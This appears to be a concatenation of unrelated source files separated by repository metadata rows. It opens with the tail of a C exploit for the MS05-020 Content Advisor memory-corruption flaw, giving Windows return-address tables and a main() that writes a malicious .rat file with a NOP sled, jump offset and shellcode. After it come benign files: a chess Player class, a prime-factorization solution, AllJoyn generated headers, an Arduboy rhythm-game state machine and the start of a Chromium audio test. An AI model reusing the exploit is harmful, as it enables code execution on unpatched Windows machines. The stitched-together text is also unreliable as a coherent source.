0x77181783 push ESP - ret
0x771A31CB push ESP - ret
0x771ABFB9 jmp ESP
0x771AF5FE jmp ESP
0x771B2FAD jmp ESP
0x771B470E jmp ESP
0x771C8382 jmp ESP
0x771CC694 jmp ESP
0x771CE3C7 jmp ESP
0x771CFA0B jmp ESP
0x771F5D7B jmp ESP
0x771FE9D9 jmp ESP
0x77212C74 jmp ESP
0x7721448D jmp ESP
0x772153D3 call ESP
0x772155AB jmp ESP
0x77215723 jmp ESP
0x77215788 jmp ESP
0x77216161 jmp ESP
0x77216221 jmp ESP
0x772170AF jmp ESP
0x7721745F jmp ESP
0x772174DB call ESP
0x77217717 call ESP
0x77217F70 call ESP
0x77218137 call ESP
0x7721813F jmp ESP
*/
{" Windows 2000 Pro SP3 Spanish" , 0x76BE5983}, // FFD4 CALL ESP - wininet.dll 5.0.3502.4619
/*C:\>Findjmp.exe wininet.dll ESP
0x76BE5983 call ESP
0x76BE8AAC push ESP - ret*/
{" Windows 2000 Pro SP4 Spanish" , 0x702853D3}, // FFD4 CALL ESP - wininet.dll 6.0.2800.1106
/*C:\>Findjmp.exe wininet.dll ESP
0x70219C3A push ESP - ret
0x70282C74 jmp ESP
0x70282D3D jmp ESP
0x70283B1C jmp ESP
0x70283BE5 jmp ESP
0x702843C4 jmp ESP
0x7028448D jmp ESP
0x702853D3 call ESP
0x702855AB jmp ESP
0x70285723 jmp ESP
0x70285788 jmp ESP
0x70286161 jmp ESP
0x70286221 jmp ESP
0x702870AF jmp ESP
0x7028745F jmp ESP
0x702874DB call ESP
0x70287717 call ESP
0x70287F70 call ESP
0x70288137 call ESP
0x7028813F jmp ESP*/
{" Windows 2000 Server SP4 Spanish" , 0x76BFBB5B}, // FFE4 JMP ESP - wininet.dll 5.0.3700.6713
/*C:\>Findjmp.exe wininet.dll ESP
0x76BE558B push ESP - ret
0x76BFBB5B jmp ESP
0x76BFC155 push ESP - ret
0x76BFC159 push ESP - ret */
{" Crash", 0x41414141}
},VERSIONES;
/******************************************************************************/
void ShowHeader(int argc) {
int i;
printf(" Ms05-020 Content Advisor Memory Corruption Vulnerability\n");
printf(" Exploit by Miguel Tarasco - Tarako [at] gmail [dot] com\n\n");
printf(" Windows Versions:\n");
printf(" ----------------------------------------\n");
for (i=0;i<sizeof(supported)/sizeof(VERSIONES);i++) {
printf(" %d) %s (0x%08x)\n",i,supported[i].name,supported[i].offset);
}
printf(" ----------------------------------------\n\n");
if (argc<2) {
printf(" Usage: ratBof.exe <Windows Version>\n");
exit(1);
}
}
/******************************************************************************/
int main(int argc, char* argv[]) {
char buf[1500];
FILE *ratFile=fopen(RATFILE,"w");;
int i;
ShowHeader(argc);
i=atoi(argv[1]);
printf(" [i] Creating exploit File for platform: %s\n",supported[i].name);
fwrite(RHeader, sizeof(RHeader)-1, 1,ratFile);
memset(buf,0x90,sizeof(buf));
memcpy(buf+280,jmpbelow,strlen(jmpbelow)); // salto
memcpy(buf+284,&supported[i].offset,sizeof(long)); // offset
memcpy(buf+500,shellcode,sizeof(shellcode)-1);
fwrite(buf,sizeof(buf),1,ratFile);
fwrite(RTail, sizeof(RTail), 1,ratFile);
printf(" [i] rsaci.rat created\n\n");
fclose(ratFile);
return 0;
}
/******************************************************************************/ | [
"[email protected]"
] | |
06ef175300aa490df7c4f394dcdbd553703b5ae1 | 7555d5da9586a353c6e8a9c09a3f63c165b4bad2 | /src/Player.cpp | 3f9583b7f2361a14e5b853b3aac4ed91a09567dc | [] | no_license | mishvets/Chess | d713af1ba65003d358d6dea72b3d63a3a4a4b596 | f90eb4ae86efaee644623df7132d21fa1a5be3fd | refs/heads/master | 2021-06-12T17:05:04.459703 | 2020-04-13T14:40:51 | 2020-04-13T14:40:51 | 254,367,544 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,014 | cpp | #include "../inc/Player.hpp"
Player::Player(const std::string &side) : _side(side), _check(false)
{
}
Player::~Player()
{
for (auto fig : _figVct)
delete fig;
}
AFigure *Player::addNewFig(const std::string &label, int posX, int posY)
{
AFigure *fig;
switch (label[1])
{
case 'P':
fig = new Pawn(label, posX, posY);
break;
case 'R':
fig = new Rook(label, posX, posY);
break;
case 'N':
fig = new Knight(label, posX, posY);
break;
case 'B':
fig = new Bishop(label, posX, posY);
break;
case 'Q':
fig = new Queen(label, posX, posY);
break;
case 'K':
_king = new King(label, posX, posY);
fig = _king;
break;
default:
std::cout << "Error: Bad label in file" << std::endl;
return nullptr;
}
_figVct.push_back(fig);
return fig;
}
const std::string &Player::getSide() const
{
return _side;
}
King *Player::getKing() const
{
return _king;
}
bool Player::isCheck() const
{
return _check;
}
void Player::setCheck(bool check)
{
_check = check;
}
| [
"[email protected]"
] | |
eac783e74955b181545a66074dcb3339ac7cf05d | 307d3837d31f9e3728af2b62ca51ebf63fe6ec6b | /hall_of_fame/wi-seong-cheol/BOJ/0x12 Math/2312.cpp | 778aa8a4836cf9cc1e0f6fb9e497abecf50f9f58 | [] | no_license | ellynhan/challenge100-codingtest-study | 905043497d154b8a7333ca536e536d013f6e7454 | bcdc6d04f13b12ba80b42e066f9d244d7c2cc698 | refs/heads/master | 2023-09-01T14:10:13.481013 | 2023-08-27T14:38:52 | 2023-08-27T14:38:52 | 401,561,230 | 162 | 176 | null | 2023-09-09T14:56:25 | 2021-08-31T03:30:36 | C++ | UTF-8 | C++ | false | false | 1,155 | cpp | //
// 2312.cpp
// wi-seong-cheol
//
// Created by wi_seong on 2022/12/28.
//
/*
[Input]
2
6
24
[Output]
2 1
3 1
2 3
3 1
*/
// 시간복잡도: O(nloglogn)
// 최악시간: 100,000
// 난이도: Silver 3
// Timer: 10m
// Url: https://www.acmicpc.net/problem/2312
#include <iostream>
#include <vector>
using namespace std;
const int SIZE = 100001;
int n;
vector<bool> isPrime(SIZE, true);
vector<int> prime;
void sieve() {
isPrime[1] = false;
for(int i = 2; i*i < SIZE; i++) {
if(!isPrime[i]) continue;
for(int j = i*i; j < SIZE; j += i)
isPrime[j] = false;
}
}
int main() {
ios::sync_with_stdio(0);
cin.tie(0);
int t; cin >> t;
sieve();
for(int i = 2; i < SIZE; i++)
prime.push_back(i);
while(t--) {
cin >> n;
for(int i = 0; i < prime.size(); i++) {
if(n % prime[i] == 0) {
int cnt = 0;
while(n % prime[i] == 0) {
n /= prime[i];
cnt++;
}
cout << prime[i] << ' ' << cnt << '\n';
}
}
}
return 0;
}
| [
"[email protected]"
] | |
9f4f0ef15dc6bba58e83cb6f87658fd71fe91011 | f8517de40106c2fc190f0a8c46128e8b67f7c169 | /AllJoyn/Samples/MyLivingRoom/Models/com.microsoft.OICBridge.oic.r.openlevel/openlevelServiceEventArgs.h | 48e2cea7dc3def9ebeb23f2ac30c844ccf4841fb | [
"MIT"
] | permissive | ferreiramarcelo/samples | eb77df10fe39567b7ebf72b75dc8800e2470108a | 4691f529dae5c440a5df71deda40c57976ee4928 | refs/heads/develop | 2023-06-21T00:31:52.939554 | 2021-01-23T16:26:59 | 2021-01-23T16:26:59 | 66,746,116 | 0 | 0 | MIT | 2023-06-19T20:52:43 | 2016-08-28T02:48:20 | C | UTF-8 | C++ | false | false | 3,968 | h | //-----------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
//
// Tool: AllJoynCodeGenerator.exe
//
// This tool is located in the Windows 10 SDK and the Windows 10 AllJoyn
// Visual Studio Extension in the Visual Studio Gallery.
//
// The generated code should be packaged in a Windows 10 C++/CX Runtime
// Component which can be consumed in any UWP-supported language using
// APIs that are available in Windows.Devices.AllJoyn.
//
// Using AllJoynCodeGenerator - Invoke the following command with a valid
// Introspection XML file and a writable output directory:
// AllJoynCodeGenerator -i <INPUT XML FILE> -o <OUTPUT DIRECTORY>
// </auto-generated>
//-----------------------------------------------------------------------------
#pragma once
namespace com { namespace microsoft { namespace OICBridge { namespace oic { namespace r { namespace openlevel {
// Methods
// Readable Properties
public ref class openlevelGetOpenLevelRequestedEventArgs sealed
{
public:
openlevelGetOpenLevelRequestedEventArgs(_In_ Windows::Devices::AllJoyn::AllJoynMessageInfo^ info);
property Windows::Devices::AllJoyn::AllJoynMessageInfo^ MessageInfo
{
Windows::Devices::AllJoyn::AllJoynMessageInfo^ get() { return m_messageInfo; }
}
property openlevelGetOpenLevelResult^ Result
{
openlevelGetOpenLevelResult^ get() { return m_result; }
void set(_In_ openlevelGetOpenLevelResult^ value) { m_result = value; }
}
Windows::Foundation::Deferral^ GetDeferral();
static Windows::Foundation::IAsyncOperation<openlevelGetOpenLevelResult^>^ GetResultAsync(openlevelGetOpenLevelRequestedEventArgs^ args)
{
args->InvokeAllFinished();
auto t = concurrency::create_task(args->m_tce);
return concurrency::create_async([t]() -> concurrency::task<openlevelGetOpenLevelResult^>
{
return t;
});
}
private:
void Complete();
void InvokeAllFinished();
void InvokeCompleteHandler();
bool m_raised;
int m_completionsRequired;
concurrency::task_completion_event<openlevelGetOpenLevelResult^> m_tce;
std::mutex m_lock;
Windows::Devices::AllJoyn::AllJoynMessageInfo^ m_messageInfo;
openlevelGetOpenLevelResult^ m_result;
};
// Writable Properties
public ref class openlevelSetOpenLevelRequestedEventArgs sealed
{
public:
openlevelSetOpenLevelRequestedEventArgs(_In_ Windows::Devices::AllJoyn::AllJoynMessageInfo^ info, _In_ int64 value);
property Windows::Devices::AllJoyn::AllJoynMessageInfo^ MessageInfo
{
Windows::Devices::AllJoyn::AllJoynMessageInfo^ get() { return m_messageInfo; }
}
property int64 Value
{
int64 get() { return m_value; }
}
property openlevelSetOpenLevelResult^ Result
{
openlevelSetOpenLevelResult^ get() { return m_result; }
void set(_In_ openlevelSetOpenLevelResult^ value) { m_result = value; }
}
static Windows::Foundation::IAsyncOperation<openlevelSetOpenLevelResult^>^ GetResultAsync(openlevelSetOpenLevelRequestedEventArgs^ args)
{
args->InvokeAllFinished();
auto t = concurrency::create_task(args->m_tce);
return concurrency::create_async([t]() -> concurrency::task<openlevelSetOpenLevelResult^>
{
return t;
});
}
Windows::Foundation::Deferral^ GetDeferral();
private:
void Complete();
void InvokeAllFinished();
void InvokeCompleteHandler();
bool m_raised;
int m_completionsRequired;
concurrency::task_completion_event<openlevelSetOpenLevelResult^> m_tce;
std::mutex m_lock;
Windows::Devices::AllJoyn::AllJoynMessageInfo^ m_messageInfo;
int64 m_value;
openlevelSetOpenLevelResult^ m_result;
};
} } } } } }
| [
"[email protected]"
] | |
af239b20981a55f967202622a61d61fe759f9736 | c584f47ea1b082cafab8fb189d97f2ce5c256db8 | /lineage/instances/item.h | 1a3395d3e6ec35afee1ef5351728464ff3294232 | [] | no_license | antonshtunder/l2botdll | df3ed40c6100902181d65041b04ed21adf10158c | c592267d7ce3c783d95e8af3690136d8318ac63c | refs/heads/master | 2020-07-22T10:01:31.340314 | 2019-09-08T19:08:16 | 2019-09-08T19:08:16 | 207,159,722 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 433 | h | #ifndef ITEM_H
#define ITEM_H
#include "lineage/instance.h"
#include "utils.h"
#include "lineagerepresentation.h"
class Item : public Instance
{
public:
Item(DWORD address);
DWORD getID();
DWORD getTypeID();
DWORD getAmount();
void makeRepresentation(ItemRepresentation &mobRep);
static std::vector<Item> &getInventoryItems();
private:
static std::vector<Item> inventoryItems;
};
#endif // ITEM_H
| [
"[email protected]"
] | |
c52656be7dc5ed244ee0377293bbc32421d8c78c | 3f605502b74593bbebbd4abd9694dc100bb8da9a | /Optimization/MyForm.cpp | 8f481f69918dd071661a98152d9a18ef39c17a33 | [] | no_license | ywchiang0819121/EM-HW2 | e2bbd67947c58e76d061eff7b496984c3ca183f4 | 3ae71448750a718752413b1a4e054d05df220306 | refs/heads/master | 2020-03-18T23:40:29.535437 | 2018-05-31T08:46:05 | 2018-05-31T08:46:05 | 135,418,322 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 292 | cpp | #include "MyForm.h"
using namespace System;
using namespace System::Windows::Forms;
[STAThread]
int main(array<String^>^ argv)
{
Application::EnableVisualStyles();
Application::SetCompatibleTextRenderingDefault(false);
Optimization::MyForm windowsForm;
Application::Run(%windowsForm);
}
| [
"[email protected]"
] | |
e6728bddf67e41d5c25e958da01198051d7d9136 | 7347cb60d9a8b66abee11ef2f5271e14c45cfd6d | /src/gamestates.cpp | 3db995a4f323dd83ca82bc947640b7df91b959f0 | [
"BSD-3-Clause"
] | permissive | kxion/biribiribeat | 69ce5d53acc8b0ee2eb37e9fdd789c473f5d2f5a | b52d2380bdf38205008f1c579a6ecce7a3754017 | refs/heads/master | 2023-03-27T20:21:56.347743 | 2020-02-09T03:02:17 | 2020-02-09T03:02:17 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 17,153 | cpp | /**
* \file
* \author shiyouganai
* \copyright 2019-2020 shiyouganai
*
* \brief File defining classes for game states.
*/
#include "Arduboy2.h"
#include "Squawk.h"
#include "squawk_defines.h"
#include "gamestates.h"
#include "rhythm_manager.h"
#include "navi.h"
#include "bitmaps/sprites_main.h"
#include "audio/stepcharts.h"
#include "audio/melodys.h"
#include "fonts/Font4x6.h"
#include "menus.h"
#define GAME_VERSION "1.0.0"
/* debug defines, uncomment if needed */
#if 0
#define DEBUG_HUD
#endif
/* synth ISR macro define */
SQUAWK_CONSTRUCT_ISR(SQUAWK_PWM_ARDUBOY);
/* global variables shared throughout program */
Arduboy2Base arduboy;
Sprites sprites;
SquawkSynth squawk;
Font4x6 font;
/* static variables shared between states */
static rhythm_manager otoge;
static menu_selector menu;
bool muted = false;
uint16_t erase_timer = 0U;
/* EEPROM layout */
#define EEPROM_MAGIC_WORD_ADDRESS EEPROM_STORAGE_SPACE_START
static uint32_t EEPROM_magic_word = 0xBABACAFE;
#define EEPROM_SCORE_OFFSET EEPROM_STORAGE_SPACE_START + sizeof(EEPROM_magic_word)
static uint8_t EEPROM_addresses[NUM_MODES][NUM_DIFFICULTIES] =
{{EEPROM_SCORE_OFFSET,
EEPROM_SCORE_OFFSET + sizeof(uint32_t),
EEPROM_SCORE_OFFSET + (sizeof(uint32_t) * 2)},
{EEPROM_SCORE_OFFSET + (sizeof(uint32_t) * 3),
EEPROM_SCORE_OFFSET + (sizeof(uint32_t) * 4),
EEPROM_SCORE_OFFSET + (sizeof(uint32_t) * 5)}};
/* TODO: move ROM strings to own file */
static const uint8_t text_prompt_select_mode[] PROGMEM = "PICK A MODE!";
static const uint8_t text_prompt_select_difficulty[] PROGMEM = "PICK A DIFFICULTY!";
static const uint8_t text_result_highscore[] PROGMEM = "HIGH SCORE:";
static const uint8_t text_result_positive[] PROGMEM = "A NEW HIGH SCORE!";
static const uint8_t text_result_neutral[] PROGMEM = "NOT BAD AT ALL!";
static const uint8_t text_result_negative[] PROGMEM = "YOU NEED PRACTICE...";
static const uint8_t text_manual[] PROGMEM = "SCAN FOR\nGAME MANUAL!\n\nBIRIBIRIBEAT";
static const uint8_t text_version[] PROGMEM = GAME_VERSION;
static const uint8_t text_copyright[] PROGMEM = "C 2019 2020\nSHIYOUGANAI";
static const uint8_t text_status[] PROGMEM = "STATUS: ";
static const uint8_t text_clear_scores[] PROGMEM = "HOLD A FOR 3 SECONDS!";
static const uint8_t text_on[] PROGMEM = "ON";
static const uint8_t text_off[] PROGMEM = "OFF";
static const uint8_t text_1x[] PROGMEM = "1X";
static const uint8_t text_2x[] PROGMEM = "2X";
#ifdef DEBUG_HUD
static const uint8_t text_state_menu_main[] PROGMEM = "MENU_MAIN";
static const uint8_t text_state_menu_select[] PROGMEM = "MENU_SELECT";
static const uint8_t text_state_menu_result[] PROGMEM = "MENU_RESULT";
static const uint8_t text_state_run_playing[] PROGMEM = "RUN_PLAYING";
#endif
/* local functions shared between states */
void draw_speech_bubble(const uint8_t *text, uint8_t length)
{
arduboy.drawLine(30, 9, 30, 13);
arduboy.drawLine(31, 13, 35, 9);
font.setCursor(SELECT_SPEECH_X, SELECT_SPEECH_Y);
arduboy.drawRect(SELECT_SPEECH_X - 3U, SELECT_SPEECH_Y - 1U, length * FONT4x6_CHAR_WIDTH + 6U, FONT4x6_LINE_HEIGHT + 2U, WHITE);
arduboy.drawLine(31, 9, 34, 9, BLACK);
font.print(reinterpret_cast<const __FlashStringHelper *>(text));
}
void clear_eeprom(void)
{
EEPROM.put<uint32_t>(EEPROM_STORAGE_SPACE_START, EEPROM_magic_word);
for(uint8_t i = 0; i < NUM_MODES; i++) {
for(uint8_t j = 0; j < NUM_DIFFICULTIES; j++)
{
EEPROM.put<uint32_t>(EEPROM_addresses[i][j], 0x00000000U);
}
}
}
void load_highscores_from_eeprom(void)
{
for(uint8_t i = 0; i < NUM_MODES; i++) {
for(uint8_t j = 0; j < NUM_DIFFICULTIES; j++)
{
EEPROM.get<uint32_t>(EEPROM_addresses[i][j], otoge.highscores[i][j]);
}
}
}
#ifdef DEBUG_HUD
extern unsigned int __bss_end;
extern unsigned int __heap_start;
extern void *__brkval;
uint16_t getFreeSram() {
uint8_t newVariable;
// heap is empty, use bss as start memory address
if ((uint16_t)__brkval == 0)
return (((uint16_t)&newVariable) - ((uint16_t)&__bss_end));
// use heap end as the start of the memory address
else
return (((uint16_t)&newVariable) - ((uint16_t)__brkval));
};
void print_free_sram() {
font.setCursor(0, 0);
arduboy.fillRect(0, 0, FONT4x6_CHAR_WIDTH*3, FONT4x6_LINE_HEIGHT, BLACK);
font.print(getFreeSram());
}
#endif
bool base_state::next_frame()
{
/* this function idles and is woken up by 1ms timer to check
* if it's time to render the next frame, returns false if we have more
* time to kill, so ideally we call it again and idle more, ad nauseum */
#ifdef DEBUG_HUD
return arduboy.nextFrameDEV();
#else
return arduboy.nextFrame();
#endif
}
void game_run_init::on_entry()
{
uint32_t magic_word_check;
/* init arduboy peripherals/systems */
arduboy.boot();
arduboy.display(CLEAR_BUFFER);
arduboy.safeMode();
arduboy.systemButtons();
arduboy.audio.begin();
arduboy.initRandomSeed();
arduboy.waitNoButtons();
arduboy.setFrameDuration(FD_66PT667FPS);
squawk.begin();
/* check for EEPROM magic word which shows we've been played before
* could also use a checksum to have data integrity but eh, maybe later
* if the magic word isn't there, init our EEPROM space */
if(EEPROM.get<uint32_t>(EEPROM_STORAGE_SPACE_START, magic_word_check) != EEPROM_magic_word) {
clear_eeprom();
} else {
/* if the magic word is there, read in the EEPROM values to RAM */
load_highscores_from_eeprom();
}
}
gamestate_e game_run_init::on_loop()
{
return MENU_MAIN;
}
void game_run_init::on_exit()
{
}
void game_menu_main::on_entry()
{
menu.set_data(&menu_title);
}
gamestate_e game_menu_main::on_loop()
{
static int8_t animation_offset;
arduboy.pollButtons();
if(arduboy.justPressed(RIGHT_BUTTON)) {
menu.move_next();
} else if(arduboy.justPressed(LEFT_BUTTON)) {
menu.move_previous();
} else if(arduboy.justPressed(A_BUTTON)) {
switch(menu.select()) {
case 0U:
return MENU_SELECT_MODE;
case 1U:
return MENU_CONFIG;
case 2U:
return MENU_MANUAL;
default:
return MENU_MAIN;
}
}
sprites.drawOverwrite(0, 0, biribiriTitleNotelessCrop, 0);
/* quick and dirty ad-hoc title screen animation */
if(arduboy.everyXFrames(32)) {
if(animation_offset) {
animation_offset = 0;
} else {
animation_offset = 2;
}
}
sprites.drawSelfMasked(84, 33-animation_offset, titleNotes1, 0);
sprites.drawSelfMasked(123, 2+animation_offset, titleNotes2, 0);
menu.draw();
#ifdef DEBUG_HUD
print_free_sram();
font.setCursor(0, FONT4x6_LINE_HEIGHT*7);
font.print(GAME_VERSION);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_state_menu_main));
#endif
arduboy.display(CLEAR_BUFFER);
return MENU_MAIN;
}
void game_menu_main::on_exit()
{
otoge.navigator.init(MENU_NAVI_X, MENU_NAVI_Y, MENU_NEUTRAL, 16U);
}
void game_menu_config::on_entry()
{
menu.set_data(&menu_config);
}
gamestate_e game_menu_config::on_loop()
{
arduboy.pollButtons();
if(arduboy.justPressed(DOWN_BUTTON)) {
menu.move_next();
} else if(arduboy.justPressed(UP_BUTTON)) {
menu.move_previous();
} else if(arduboy.justPressed(A_BUTTON)) {
switch(menu.select()) {
case 0U:
if(!muted) {
squawk.mute();
otoge.navigator.change_expression(MENU_NEUTRAL);
muted = true;
} else {
squawk.unmute();
muted = false;
}
break;
case 1U:
if(2U == otoge.pixels_per_tick) {
otoge.pixels_per_tick = 1U;
} else {
otoge.pixels_per_tick++;
}
break;
case 2U:
erase_timer++;
break;
default:
break;
}
} else if(arduboy.justPressed(B_BUTTON)) {
return MENU_MAIN;
}
if(erase_timer) {
if(((uint16_t)(FRAMES_PER_SECOND * 3U)) < erase_timer)
{
erase_timer = 0U;
clear_eeprom();
load_highscores_from_eeprom();
arduboy.fillScreen(WHITE);
} else if(arduboy.justReleased(A_BUTTON)) {
erase_timer = 0U;
} else {
erase_timer++;
otoge.navigator.update(7U, 16U);
}
}
otoge.navigator.update(1U, 16U);
otoge.navigator.draw();
menu.draw();
switch(menu.select()) {
case 0U:
if(!muted) {
draw_speech_bubble(text_status, sizeof(text_status) + sizeof(text_on) - 2U);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_on));
} else {
draw_speech_bubble(text_status, sizeof(text_status) + sizeof(text_off) - 2U);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_off));
}
break;
case 1U:
if(1U == otoge.pixels_per_tick) {
draw_speech_bubble(text_status, sizeof(text_status) + sizeof(text_1x) - 2U);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_1x));
} else {
draw_speech_bubble(text_status, sizeof(text_status) + sizeof(text_2x) - 2U);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_2x));
}
break;
case 2U:
draw_speech_bubble(text_clear_scores, sizeof(text_clear_scores) - 1U);
default:
break;
}
arduboy.display(CLEAR_BUFFER);
return MENU_CONFIG;
}
void game_menu_config::on_exit()
{
}
void game_menu_manual::on_entry()
{
/* white BG to increase ability of phones to read QR code */
arduboy.fillScreen(WHITE);
sprites.drawOverwrite(0, 0, manualQr, 0U);
font.setCursor(65, FONT4x6_LINE_HEIGHT/2);
font.setTextColor(BLACK);
font.println(reinterpret_cast<const __FlashStringHelper *>(text_manual));
font.println(reinterpret_cast<const __FlashStringHelper *>(text_version));
font.print(reinterpret_cast<const __FlashStringHelper *>(text_copyright));
arduboy.display(CLEAR_BUFFER);
}
gamestate_e game_menu_manual::on_loop()
{
arduboy.pollButtons();
if(arduboy.justPressed(B_BUTTON)) {
return MENU_MAIN;
}
return MENU_MANUAL;
}
void game_menu_manual::on_exit()
{
font.setTextColor(WHITE);
arduboy.invert(false);
}
void game_menu_select_mode::on_entry()
{
menu.set_data(&menu_mode);
}
gamestate_e game_menu_select_mode::on_loop()
{
arduboy.pollButtons();
if(arduboy.justPressed(DOWN_BUTTON)) {
menu.move_next();
} else if(arduboy.justPressed(UP_BUTTON)) {
menu.move_previous();
} else if(arduboy.justPressed(A_BUTTON)) {
switch(menu.select()) {
case 0U:
/* maybe make this user editable in future */
randomSeed(6969U);
otoge.select_mode((mode_e)NORMAL);
break;
case 1U:
/* maybe make this user editable in future */
randomSeed((unsigned long)random());
otoge.select_mode((mode_e)CHAOS);
break;
default:
return MENU_SELECT_MODE;
}
return MENU_SELECT_DIFFICULTY;
} else if(arduboy.justPressed(B_BUTTON)) {
return MENU_MAIN;
}
otoge.navigator.update(1U, 16U);
otoge.navigator.draw();
menu.draw();
draw_speech_bubble(text_prompt_select_mode, sizeof(text_prompt_select_mode) - 1U);
#ifdef DEBUG_HUD
print_free_sram();
font.setCursor(0, FONT4x6_LINE_HEIGHT*7);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_state_menu_select));
#endif
arduboy.display(CLEAR_BUFFER);
return MENU_SELECT_MODE;
}
void game_menu_select_mode::on_exit()
{
}
void game_menu_select_difficulty::on_entry()
{
menu.set_data(&menu_diff);
}
gamestate_e game_menu_select_difficulty::on_loop()
{
arduboy.pollButtons();
if(arduboy.justPressed(DOWN_BUTTON)) {
menu.move_next();
} else if(arduboy.justPressed(UP_BUTTON)) {
menu.move_previous();
} else if(arduboy.justPressed(A_BUTTON)) {
squawk.tempo_reset();
otoge.reset_synth_ticks();
otoge.reset_scoreboard();
otoge.select_song(&playable_music_level);
switch(menu.select()) {
case 0U:
otoge.select_difficulty((difficulty_e)EASY);
break;
case 1U:
otoge.select_difficulty((difficulty_e)MEDIUM);
break;
case 2U:
otoge.select_difficulty((difficulty_e)HARD);
break;
default:
return MENU_SELECT_DIFFICULTY;
}
return RUN_PLAYING;
} else if(arduboy.justPressed(B_BUTTON)) {
return MENU_SELECT_MODE;
}
otoge.navigator.update(1U, 16U);
otoge.navigator.draw();
menu.draw();
font.print(otoge.highscores[otoge.get_mode()][menu.select()]);
draw_speech_bubble(text_prompt_select_difficulty, sizeof(text_prompt_select_difficulty) - 1U);
#ifdef DEBUG_HUD
font.setCursor(0, FONT4x6_LINE_HEIGHT*7);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_state_menu_select));
#endif
arduboy.display(CLEAR_BUFFER);
return MENU_SELECT_DIFFICULTY;
}
void game_menu_select_difficulty::on_exit()
{
}
void game_run_playing::on_entry()
{
}
gamestate_e game_run_playing::on_loop()
{
/* local variables for run loop */
track_state_e track_state_curr;
arduboy.pollButtons();
/* run all rhythm game logic */
track_state_curr = otoge.update_frame();
#ifdef DEBUG_HUD
font.setCursor(0, FONT4x6_LINE_HEIGHT*7);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_state_run_playing));
#endif
#if 0
arduboy.display(CLEAR_BUFFER);
#endif
if((PASSED == track_state_curr) ||
(FAILED == track_state_curr)) {
return MENU_RESULT;
} else {
return RUN_PLAYING;
}
}
void game_run_playing::on_exit()
{
}
void game_menu_result::on_entry()
{
scoreboard_t final_score = otoge.get_scoreboard();
mode_e mode_curr = otoge.get_mode();
difficulty_e diff_curr = otoge.get_difficulty();
bool new_highscore = false;
/* check for high score and write back from the RAM cache to EEPROM if necessary */
if(otoge.highscores[mode_curr][diff_curr] < final_score.total_score) {
new_highscore = true;
otoge.highscores[mode_curr][diff_curr] = final_score.total_score;
EEPROM.put<uint32_t>(EEPROM_addresses[mode_curr][diff_curr], otoge.highscores[mode_curr][diff_curr]);
}
otoge.navigator.init(MENU_NAVI_X, MENU_NAVI_Y, MENU_NEUTRAL, 16U);
if(new_highscore) {
otoge.navigator.change_expression((navi_expression_e)MENU_POSITIVE);
} else if((NORMAL == otoge.get_mode()) &&
(FAILED == otoge.get_track_state())) {
otoge.navigator.change_expression((navi_expression_e)MENU_NEGATIVE);
} else {
otoge.navigator.change_expression((navi_expression_e)MENU_NEUTRAL);
}
}
gamestate_e game_menu_result::on_loop()
{
arduboy.pollButtons();
if(arduboy.justPressed(A_BUTTON)) {
return MENU_SELECT_MODE;
}
otoge.navigator.update(1U, 16U);
otoge.navigator.draw();
otoge.draw_scoreboard_bg(SELECT_INFO_X, SELECT_INFO_Y);
otoge.draw_scoreboard(SELECT_INFO_X+FONT4x6_CHAR_WIDTH*12, SELECT_INFO_Y);
switch (otoge.navigator.get_expression())
{
case MENU_NEUTRAL:
draw_speech_bubble(text_result_neutral, sizeof(text_result_neutral) - 1U);
break;
case MENU_POSITIVE:
draw_speech_bubble(text_result_positive, sizeof(text_result_positive) - 1U);
break;
case MENU_NEGATIVE:
draw_speech_bubble(text_result_negative, sizeof(text_result_negative) - 1U);
break;
default:
break;
}
arduboy.drawRect(SELECT_INFO_X - 3U, SELECT_INFO_Y - 2U, 70U, (5U * FONT4x6_LINE_HEIGHT) + 4U, WHITE);
#ifdef DEBUG_HUD
print_free_sram();
font.setCursor(0, FONT4x6_LINE_HEIGHT*7);
font.print(reinterpret_cast<const __FlashStringHelper *>(text_state_menu_result));
#endif
arduboy.display(CLEAR_BUFFER);
return MENU_RESULT;
}
void game_menu_result::on_exit()
{
otoge.navigator.init(MENU_NAVI_X, MENU_NAVI_Y, MENU_NEUTRAL, 16U);
}
| [
"[email protected]"
] | |
664d02bc0908c3ba1ac06c766bd33de77d9bcd22 | fb7efe44f4d9f30d623f880d0eb620f3a81f0fbd | /media/base/audio_converter_unittest.cc | b25bb6500b1deca516395e154e4daff53c15ad48 | [
"BSD-3-Clause"
] | permissive | wzyy2/chromium-browser | 2644b0daf58f8b3caee8a6c09a2b448b2dfe059c | eb905f00a0f7e141e8d6c89be8fb26192a88c4b7 | refs/heads/master | 2022-11-23T20:25:08.120045 | 2018-01-16T06:41:26 | 2018-01-16T06:41:26 | 117,618,467 | 3 | 2 | BSD-3-Clause | 2022-11-20T22:03:57 | 2018-01-16T02:09:10 | null | UTF-8 | C++ | false | false | 10,018 | cc | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "media/base/audio_converter.h"
#include <stddef.h>
#include <memory>
#include "base/macros.h"
#include "base/memory/ptr_util.h"
#include "base/strings/string_number_conversions.h"
#include "media/base/audio_timestamp_helper.h"
#include "media/base/fake_audio_render_callback.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace media {
// Parameters which control the many input case tests.
static const int kConvertInputs = 8;
static const int kConvertCycles = 3;
// Parameters used for testing.
static const int kBitsPerChannel = 32;
static const ChannelLayout kChannelLayout = CHANNEL_LAYOUT_STEREO;
static const int kHighLatencyBufferSize = 2048;
static const int kLowLatencyBufferSize = 256;
static const int kSampleRate = 48000;
// Number of full sine wave cycles for each Render() call.
static const int kSineCycles = 4;
// Tuple of <input rate, output rate, output channel layout, epsilon>.
typedef std::tr1::tuple<int, int, ChannelLayout, double> AudioConverterTestData;
class AudioConverterTest
: public testing::TestWithParam<AudioConverterTestData> {
public:
